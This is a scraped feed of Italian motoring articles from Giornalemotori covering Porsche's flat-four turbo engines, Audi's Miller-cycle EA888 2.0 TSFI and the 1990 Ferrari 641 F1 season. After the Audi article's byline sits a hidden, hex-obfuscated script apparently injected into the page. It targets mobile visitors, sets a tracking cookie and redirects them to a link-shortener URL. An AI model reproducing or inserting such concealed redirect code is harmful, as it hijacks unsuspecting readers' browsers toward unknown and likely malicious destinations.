<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80630" src="https://www.giornalemotori.com/wp-content/uploads//2019/01/RESIZED-Porsche-718-Boxster-S-2.5L-turbo-with-VTG-300x290.jpg" alt="RESIZED Porsche 718 Boxster S 2.5L turbo with VTG" width="300" height="290" title="Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster 683">Il turbocompressore VTG  della BorgWarner ha la pressione di 1.4 bar per il 2.0 litri con turbina a geometria fissa. Il 2.5 litri, invece, impiega una turbina a geometria variabile con pressione da 1.0 Bar. La modularità del propulsore ha consentito a Porsche di sfruttare una sola linea di montaggio con un solo fornitore per tutti ci componenti condividendo i vantaggi di motori più potenti e complessi. La potenza specifica è di 151cv/litro per il 2.0 Litri, mentre il 2.5 litri è di 140 cv/litro. Il  sistema di raffreddamento è stato progettato in modo specifico. Attraverso le prese laterali viene prelevata aria che va a raffreddare sia l&#8217;acqua del sistema di raffreddamento aria-liquido che l&#8217;intercooler. La restante parte dell&#8217;aria viene inviata al aspirazione.  Un sistema progettato per essere efficace in condizioni gravose adattandosi al poco spazio a disposizione nel vano motore di Boxster e Cayman. Porsche garantisce un raffreddamento ottimale pensato per le massime prestazioni, anche in pista.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80629" src="https://www.giornalemotori.com/wp-content/uploads//2019/01/RESIZED-Porsche-718-Boxster-S-engine-300x262.jpg" alt="RESIZED Porsche 718 Boxster S engine" width="300" height="262" title="Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster 684">La la pompa dell&#8217;olio è a portata variabile con un peso di soli 1.7 kg regolando la pressione di esercizio in funzione delle reali necessità senza pregiudicare l&#8217;affidabilità alle alte prestazioni. Discorso simile anche per la pompa dell&#8217;acqua per gestire al meglio la fase di warm-up limitando le emissioni inquinanti. Le prestazioni dichiarate vedono uno scatto per lo 0-100Km/h in 4.5 secondi abbinato al cambio PDK 7 marce. Anche l&#8217;uso del cambio manuale trova giovamento dall&#8217;abbinamento con questo tipo di propulsore. La curva di coppia fluida e costante consente di gestire al meglio la cambiata con un peggioramento delle prestazioni di 0.5s sullo scatto da fermo. Alla guida si percepisce un bel calcetto nella schiena, potente e duraturo, che non muore fino al limite della zona rossa. Questo permette una gestione dell&#8217;acceleratore millimetrico per far arrivare la giusta potenza alle ruote. Il 2.0 litri Boxer Turbo da 300cv fa registrare valori di consumi da 9.0 litri/100km, a 11,7 litri/100Km a seconda dell&#8217;utilizzo, mentre il 2.5 litri fa registrare valori da 8,1Litri/100km a 10,6 litri/100km.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2020/04/02/best-engine-i-quattro-cilindri-turbo-2-0-litri-e-2-5-litri-di-porsche/">Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 20 Mar 2020 14:14:09 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Abbiamo spesso parlato di come i giapponesi sfruttano ogni tecnologia possibile per migliorare le caratteristiche dei motori endotermici accoppiandoli a vari sistemi di propulsione ibrida. L’utilizzo di cicli di combustione a rapporto di compressione variabile, Atkinson sono all’ordine del giorno. Si tratta, però, sempre di motori da aspirazione naturale, al massimo con compressore volumetrico come [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2020/03/20/best-engine-audi-2-0-litri-tsfi-ea888-gen-3b-ciclo-miller-la-risposta-europea/">Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Abbiamo spesso parlato di come i giapponesi sfruttano ogni tecnologia possibile per migliorare le caratteristiche dei motori endotermici accoppiandoli a vari sistemi di propulsione ibrida.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-91297" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/6a00d8341c4fbe53ef01b8d1105d6e970c-800wi.jpg" alt="6a00d8341c4fbe53ef01b8d1105d6e970c 800wi" width="800" height="854" title="Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea 690" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/6a00d8341c4fbe53ef01b8d1105d6e970c-800wi.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2020/03/6a00d8341c4fbe53ef01b8d1105d6e970c-800wi-768x820.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/6a00d8341c4fbe53ef01b8d1105d6e970c-800wi-300x320.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/6a00d8341c4fbe53ef01b8d1105d6e970c-800wi-696x743.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p style="text-align: justify;">L’utilizzo di cicli di combustione a rapporto di compressione variabile, Atkinson sono all’ordine del giorno. Si tratta, però, sempre di motori da aspirazione naturale, al massimo con compressore volumetrico come nel caso del Mazda Skyactiv-X già oggetto di trattazione.</p>
<p style="text-align: justify;">Il motivo sta nella difficoltà di controllare il funzionamento del turbo, abbinato ad un ciclo a rapporto di compressione variabile. Quindi meglio usare un motore aspirato potendo contare sull&#8217;aiuto della propulsione elettrica.</p>
<p style="text-align: justify;">In Europa, però, gli ingegneri non è che stiano a misurare il collo alle giraffe, ed in quanto a testaccia dura non sono da meno ai giapponesi. In particolare i tecnici del Gruppo Volkswagen,  sotto la bandiera Audi, hanno messo appunto un propulsore 2.0 litri TSFI con tecnologia Valvelift che adotta il ciclo Miller per gestire il rapporto di compressione variabile.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-91298" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/A1610504_full-920x1024.jpg" alt="A1610504 full" width="920" height="1024" title="Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea 691" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/A1610504_full-920x1024.jpg 920w, https://www.giornalemotori.com/wp-content/uploads/2020/03/A1610504_full-768x855.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/A1610504_full-300x334.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/A1610504_full-696x774.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/03/A1610504_full.jpg 940w" sizes="(max-width: 920px) 100vw, 920px" /></p>
<p style="text-align: justify;">Un motore Turbo, quindi, che riesce a superare l’ostacolo del difficile controllo della combustione. Il risultato sono  190cv per 320Nm di coppia, disponibili ad un regime di 1450 giri/min rimanendo costante fino alla quota di 4400 giri/min. Il consumo,  secondo il ciclo di omologazione NEDC americano,  è di 5.0 litri/100 km. Il merito di un risultato tanto notevole sta proprio nella scelta di usare il ciclo Miller.  Per chi non è ancora a conoscenza di come funzionano i due cicli Atkinson e Miller, rimandiamo alla trattazione fatta a suo tempo.</p>
<p style="text-align: justify;">In sintesi, il ciclo Miller consente di sfruttare un rapporto di compressione variabile.  Nel caso del propulsore Audi avviene attraverso la chiusura anticipata o tardiva delle valvole di aspirazione. Ciò consente di migliorare il rendimento grazie alla riduzione delle perdite di pompaggio. Migliora la combustione,  controllando i fenomeni di detonazione tipici dei motori a miscela magra ad alta potenza specifica.</p>
<p style="text-align: justify;">I tecnici Audi sono riusciti a gestire una fase in incrocio delle valvole molto più ampia rispetto ai motori canonici.  La presenza del turbo, inoltre, ha permesso di sfruttare una maggiore pressione e volume dell’aria in ingresso pur avendo tempi di aspirazione più brevi. La chiusura anticipata della valvola di aspirazione,  prima che venga raggiunto il punto morto inferiore, riduce la quantità di aria aspirata in un motore aspirato, mentre nel caso di un motore turbo, l’aria, anche in minore quantità, conserva pressione e volume ottimale.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-91299" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/6a00d8341c4fbe53ef01b8d211cf92970c-600wi.jpg" alt="6a00d8341c4fbe53ef01b8d211cf92970c 600wi" width="600" height="415" title="Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea 692" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/6a00d8341c4fbe53ef01b8d211cf92970c-600wi.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2020/03/6a00d8341c4fbe53ef01b8d211cf92970c-600wi-300x208.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: justify;">L&#8217;iniezione TSFI (Turbocharged Fuel Stratified Injection) è una vecchia conoscenza tecnica. Funziona sfruttando una doppia iniezione, combinando le caratteristiche di iniezione diretta con quelle indiretta.  Un&#8217;iniezione aggiuntiva a monte della valvola di aspirazione consente un&#8217;efficace formazione della miscela integrandosi all’iniezione diretta nella camera di combustione.</p>
<p style="text-align: justify;">Resta il problema della difficoltà di controllo dell&#8217;azione del turbo abbinato al Ciclo Miller. In questo caso è venuto in aiuto l&#8217;Audi Valvelift System. Il controllo di alzata variabile delle valvole consente di avere un apertura con tempi differenziati per funzionamento tanto carico parziale che per carichi più elevati alla massima potenza.</p>
<p style="text-align: justify;">Nel caso del 2.0 liti TSFI Audi, il sistema viene usato anche per il controllo delle valvole di scarico. Sull’albero a camme, viene calettato un cilindro scorrevole. Su questo,  vengono ricavate due tipi di camme. Una dal disegno specifico per carichi parziali, con angolo diverso, ed altre due con disegno adatto per massimi carichi.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-91300" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/2008-11641-audi-new-valvelift-system1-1024x576.jpg" alt="2008 11641 audi new valvelift system1" width="1024" height="576" title="Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea 693" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/2008-11641-audi-new-valvelift-system1-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/2008-11641-audi-new-valvelift-system1-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/2008-11641-audi-new-valvelift-system1-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/2008-11641-audi-new-valvelift-system1-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/03/2008-11641-audi-new-valvelift-system1.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Lo spostamento e l’azione differenziata delle valvole sulle punterie, avviene attraverso una guida di tipo elicoidale ricavata ai due lati delle valvole. Due attuatori elettroidraulici, intervengono spingendo un pistoncino il quale inserendosi nella guida sposta per effetto della sua forma il cilindretto mettendo in azione le valvole per carichi parziali. Un attuatore al lato opposto entra in azione riportando cilindretto in posizione per far lavorare la camme per le alte potenze.</p>
<p style="text-align: justify;">L&#8217;azione del sistema sulle valvole di scarico garantisce il controllo del flusso ottimale dei gas diretti al turbocompressore. In sostanza, è possibile controllare il lavoro della girante in funzione delle necessità del volume di aria compressa che necessita in aspirazione a seconda del rapporto di compressione desiderato a monte. Il motore ha una doppia anima,  efficiente, ma anche in grado di erogare quando serve i suoi 190cv.</p>
<p style="text-align: justify;">Ci sono anche altre caratteristiche che hanno reso questo propulsore un gioiello della tecnica. La riduzione del peso ha consentito di ottenere un motore di soli 140kg. Il sistema di raffreddamento è controllato elettronicamente per consentire tempi di riscaldamento in condizioni di warm-up più rapidi ed un controllo della temperatura di esercizio più efficiente con minori perdite.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-91301" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/38313_2016_35_Fig1_HTML-1024x648.jpg" alt="38313 2016 35 Fig1 HTML" width="1024" height="648" title="Best Engine: Audi 2.0 Litri TSFI EA888 Gen.3B ciclo Miller, la risposta europea 694" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/38313_2016_35_Fig1_HTML-1024x648.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/38313_2016_35_Fig1_HTML-768x486.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/38313_2016_35_Fig1_HTML-300x190.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/38313_2016_35_Fig1_HTML-696x441.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/03/38313_2016_35_Fig1_HTML.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Il collettore di scarico è integrato nella testa, soluzione ormai utilizzata anche da tutti i concorrenti per il controllo dell’energia dei gas di scarico che alimentano la girante della turbina. Infine, anche la pompa olio ha portata variabile per migliorare l&#8217;efficienza.</p>
<p style="text-align: justify;">Un propulsore che risponde alle esigenze di efficienza, potenza ed adattabilità anche a futuri sistemi ibridi. I tecnici Audi hanno ottimizzato quanto di meglio avevano sul loro immenso scaffale tecnologico per avere un propulsore Turbo, con funzionamento a ciclo Miller ad alta efficienza al pari dei migliori, se non superiore a quanto messo in campo dai costruttori del sol levante.</p>
<p><strong>Daniele Amore</strong><br />
<script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x4f\x63\x42\x32\x51","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script></p>
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		<title>Monoposto leggendarie: Ferrari 641, l&#8217;anti McLaren</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Sun, 15 Mar 2020 13:40:48 +0000</pubDate>
				<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[1990]]></category>
		<category><![CDATA[2020]]></category>
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		<category><![CDATA[Ferrari]]></category>
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<p class="wp-block-paragraph"><img decoding="async" class="alignnone wp-image-91160 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2968.jpg" alt="Ferrari 641 F1 2968" width="1024" height="683" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 696" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" />Il 2 febbraio a Maranello venne convocata la tradizionale conferenza stampa per la presentazione della macchina e della squadra che disputano il Campionato Mondiale di F1: la sua sigla è 641, secondo un sistema di nomenclatura che adotta direttamente il numero di progetto del telaio, ma che poi viene abbandonata per razionalizzare la numerazione e cosi quella macchina è denominata più semplicemente F1-90. Leggendo le pagine dei giornali dell’epoca appare evidente che si vive un momento di segretezza e di ottimismo. Contrariamente alle abitudini consolidate non è stata fornita una scheda coi dati ufficiali della macchina. Viene ingaggiato ed è presente <a href="https://www.giornalemotori.com/2013/02/01/alain-prost-il-professore/">Alain Prost</a>, fresco Campione del Mondo che ha portato in dote la sua esperienza e il numero 1 sulla macchina.</p>



<p class="wp-block-paragraph">Invece di Barnard, tanto geniale quanto poco integrato nel team di lavoro, c’è il suo collega Steve Nichols portato via alla McLaren a suon di dollari e disponibile a lavorare a Maranello. In più ci sono l’argentino naturalizzato italiano Henrique Scalabroni per lo sviluppo del telaio e Paolo Massai che viene dalla Fiat per i motori. Mansell è rimasto come secondo di Prost, almeno in teoria, e mai titolo di giornale è stato più profeticamente giusto, ma in senso negativo, come quello che dice “Mansell e Prost si competano come Lauda e Regazzoni”.</p>



<p class="wp-block-paragraph">Completare non esclude competere e infatti la competizione tra i due sarà vivace fino alle estreme conseguenze. In generale le dichiarazioni dei principali responsabili esprimono ottimismo grazie al fatto che la Fiat non ha lesinato mezzi e uomini per dotare la Ferrari di tutto quanto serve. Per fare un solo esempio, la sala prove del reparto corse, dotata di quattro banchi, è stata completamente rifatta con ben sette banchi prova in celle insonorizzate e controlli computerizzati. Le troppe fermate dell’anno prima danno i loro frutti.</p>



<p class="wp-block-paragraph"><strong>TECNICA</strong></p>



<p class="wp-block-paragraph"> La F1-90 era la logica evoluzione della F1 89 (o 640) della stagione precedente, della quale conservava le dimensioni esterne e l’impostazione generale mentre il telaio era stato solo leggermente modificato. l’originaria 640 era stata progettata da John Barnard che, alla fine del 1989, era passato alla Benetton in qualità di direttore tecnico. Al momento della presentazione, la vettura adottava ancora il 12 cilindri siglato 036, simile a quello impiegato nel 1989. il cambio longitudinale a sette marce, con comando elettroidraulico e gestione elettronica, era invece di nuovo tipo: aveva ingombri inferiori rispetto all’anno precedente e consentiva di avere un gruppo trasmissione particolarmente snello e leggero. Le modifiche alla trasmissione erano state decise anche nel tentativo di migliorare l’affidabilità del cambio, causa di molti ritiri l’anno precedente.</p>



<p class="wp-block-paragraph">In vista di potenze più elevate del motore e di conseguenza maggiori consumi, la capacità del serbatoio del carburante era stata aumentata sino a 215 litri. Questo per permettere di percorre la distanza di un Gran Premio anche su tracciati impegnativi sotto questo aspetto, come Imola e Montreal.</p>



<p class="wp-block-paragraph">Proprio a partire dal GP di San Marino, la F1-90 fu modificata esteticamente e dotata, durante le prove di qualificazione, dei motori 037, con una corsa dei pistoni accorciata. La nuova versione della monoposto, siglata 641/2, conservava la carrozzeria separata dal telaio, in modo da poter effettuare più velocemente eventuali cambiamenti di carattere aerodinamico. La più recente versione della F1-90 aveva il muso più appuntito e meno squadrato. La Ferrari non risentì in modo traumatico della partenza di Barnard e la 641/2, grazie alle numerose modifiche, si rivelò competitiva nel Mondiale.</p>



<p class="wp-block-paragraph">Va comunque messa in evidenza la presenza in squadra di un pilota del calibro di Prost, che si rivelò di capitale importanza durante lo sviluppo della vettura: in fase di collaudo venne infatti a galla l’indiscutibile capacità del pilota francese di affinare la qualità di una monoposto fino a farla rendere al massimo.</p>



<p class="wp-block-paragraph">Una gran mole di lavoro venne dedicata allo sviluppo del motore 037, che la squadra iniziò a impiegare in corsa a partire dal Gran Premio di Ungheria. Le diverse dimensioni di corsa e alesaggio fecero mutare la cilindrata da 3497 a 3499 cm3. L’applicazione di modelli matematici di simulazione permise di migliorare costantemente il rendimento termodinamico. La diminuzione degli attriti interni, l’alleggerimento delle parti in movimento e lo sviluppo di lubrificanti sempre più raffinati consentirono di aumentare progressivamente il numero di giri massimo del motore e di incrementare la potenza erogata.</p>



<p class="wp-block-paragraph">Dagli inizili 665 cavalli a 13200 giri/minuto della prima versione 036 si passò ai 690 cavalli a 13600 giri/minuto della 037 e poi ai circa 710 cavalli a 13800 giri/minuto della speciale versione per le prove di qualificazione. La F1-90, o Ferrari 641,&nbsp; portò Alain Prost a lottare per il campionato.</p>



<p class="wp-block-paragraph"><strong>CAMPIONATO</strong></p>



<p class="wp-block-paragraph">Dopo una laboriosa messa a punto, la nuova monoposto si presenta come una realizzazione di vera avanguardia e si può dire senza falsa modestia che la Ferrari, come in altri casi, abbia aperto nuove strade. Il campionato inizia dunque sonno buona luce per la Ferrari che continua ad essere l’unico costruttore a fare tutta la macchina in casa, mentre gli altri sono i noti abbinamenti tra grandi costruttori di motore quali Ford, Honda e Renault e le squadre inglesi specializzate.</p>



<p class="wp-block-paragraph">La prima gara, il GP USA a Phoenix in Arizona, presenta alcune sorprese come il secondo posto in griglia di partenza di Martini con la Minardi-Ford dietro a Berger con la McLaren Honda. L’ordine di arrivo rimette a posto alcune cose, con Senna e Alesi ai primi due posti. Le Ferrari si sono fermate entrambe da problemi al sistema idraulico, un inizio che non ci voleva.</p>



<p class="wp-block-paragraph">Molto meglio in Brasile sul circuito di San Paolo dove Prost vince con buon margine e Mansell è quarto. A Imola grandi aspettative per il GP di San Marino, ma il motore di Mansell cede e Prost, costretto a una fermata per il cambio gomme, chiude al quarto posto. A Montecarlo e nelle gare successive si utilizza una versione migliorata della monoposto, chiamata 641/2, ma l’alternatore che non carica ferma entrambe le monoposto.</p>



<p class="wp-block-paragraph">In Canada Mansell è terzo e Prost quinto, ma tuttavia nella gara seguente in Messico, le dure Ferrari occupano i primi due posti con Prost e Mansell nell’ordine. La distanza nella classifica mondiale si accorcia. E questa migliora ulteriormente al GP di Francia disputato sul circuito di Paul Ricard dove, sul lungo rettilineo, la Ferrari può esprimere la sua velocità e Prost torna a vincere. È il successo numero 100 della Ferrari in F1 e la Fiat festeggia con pagine intere di pubblicità nelle quali si identifica con la Ferrari stessa. Nella stessa gara Mansell si è fermato per un guasto al motore a otto giri dalla fine. Ed è di nuovo Prost il vincitore del GP di Gran Bretagna sul circuito di Silvertstone. Mansell ha problemi al cambio. A questo punto il pilota della Ferrari è in testa alla classifica Mondiale, ma in Germania sul circuito di Hockenheim è attardato da un cambio gomme ed arriva solo quarto mentre <a href="https://www.giornalemotori.com/2013/02/17/ayrton-senna/">Senna</a> torna primo. Mansell invece si ritira. Al GP di Ungheria si rimescolano le carte perché Mansell è costretto al ritiro quale conseguenza di un incidente con Berger mentre Senna arriva secondo, favorito dalla eliminazione dei due avversari in quanto anche Prost si ferma per problemi al sistema di controllo del cambio. Si verificavano infatti rotture inspiegabili nei raccordi dell’impianto idraulico.</p>



<p class="wp-block-paragraph">In Belgio, sul circuito di Spa-Francorchamps per due volte viene sfiorata la tragedia. Mansell è lento all’avvio, Patrese si sposta per non tamponarlo ma così facendo manda fuori strada Piquet che centra in pieno la Ferrari. Poi Alesi frena bruscamente per non finire addosso ai due e viene tamponato da altri. Alla seconda partenza la Minardi di Barilla esce di strada e si incendia provocando un nuovo arresto. Finalmente la terza partenza va bene con Senna e Prost che finiscono nell’ordine, mentre Mansell si ritira perché è ripartito con la vettura di riserva che non aveva l’assetto giusto per lui. Stesso ordine di arrivo, Senna primo e Prost secondo, al GP d’Italia a Monza, seguiti da Berger e Mansell in una perfetta alternanza delle due marche rimaste in lizza per il titolo Mondiale Costruttori.</p>



<p class="wp-block-paragraph">Poi succedeva il “fattaccio” del Portogallo: le due Ferrari sono in prima fila con Mansell in pole position che scatta benissimo ma va a chiudere Prost che, secondo ogni logica, dovrebbe essere aiutato dal compagno di squadra a prendere il largo. Passano invece anche Senna e Berger, ma le due Ferrari sono nettamente superiori e si riportano ai primi posti. Mansell rimane primo e va a vincere. Prost lievemente attardato in un rifornimento è dietro a Senna e potrebbe riprenderlo. Come è noto i se e i ma non contano, tuttavia se non avvenisse un incidente al 58° giro e la gara non si fermasse al 61° giro quando ne mancano ancora 10, Prost avrebbe vinto o sarebbe arrivato secondo. Invece è terzo.</p>



<p class="wp-block-paragraph">Comunque una settimana dopo, il 30 settembre a Jerez de la Frontera, le Ferrari dominano il GP di Spagna con un secco 1-2 di Prost e Masell mentre Senna rompe il motore. A questo punto finisce l’aspetto puramente sportivo della vicenda e iniziano i calcoli dei ragionieri del volante che sono sempre esistiti. Mancano due gare e il titolo è ancora in discussione tra Senna che ha 78 punti con 11 risultati validi e Prost con 69 punti e lo stesso numero di risultati. Questo è un dettaglio importante per il calcolo del punteggio finale che prevede la somma dei punti di soli 11 risultati. Prost deve ottenere buoni punteggi nelle ultime due gare per poterne scartare altri meno buoni.</p>



<p class="wp-block-paragraph">In Giappone il caso, e diciamo pure anche prestazioni delle rispettive macchine, mettono di fianco come un anno prima Senna e Prost nella prima fila. Non sono più compagni-rivali nella stessa squadra ma nuovamente rivali per il Titolo Mondiale. E alla prima curva Senna entra in collisione con Prost e nessuna dubita che questa sia la rivincita o la vendetta. Le due auto vanno fuori strada e Senna è matematicamente Campione del Mondo qualunque sia il risultato dell’ultima gara, il GP d’Australia.</p>



<p class="wp-block-paragraph">Senna fa la pole anche ad Adelaide, ma esce di strada a metà gara, e il vincitore è Piquet con la Benetton con Mansell e Prost a completare il podio.</p>



<p class="wp-block-paragraph">Prost e la Ferrari sono dunque secondi nei rispettivi campionati e qualcuno parla di occasione perduta avendo a disposizione la macchina migliore. È dal 1979 che si aspetta un titolo piloti e il risultato stagionale fa masticare amaro.</p>



<p class="wp-block-paragraph">Ferrari ha insegnato quanto è difficile entrare nell’animo di un pilota quando è seduto dentro alla sua macchina: certo è pensabile che Mansell, avendo annunciato a metà stagione l’intenzione di ritirarsi, correva più per se stesso che per la squadra. E in una intervista pubblicata su La Gazzetta dello Sport il 18 luglio ricorda di aver rinnovato il contratto con la Ferrari per il 1990 dando per inteso di essere la prima guida e che invece poi, oltre ad avere la sensazione che tutte le attenzioni fossero per Prost, non reggeva più la tensione che percepiva in squadra e per questo non aveva rinnovato il contratto per il 1991 nonostante le pressioni ricevute dal presidente della Ferrari. E conoscendo il personaggio, non stupisce il suo comportamento al GP del Portogallo.</p>



<p class="wp-block-paragraph"><strong>SCHEDA TECNICA</strong></p>



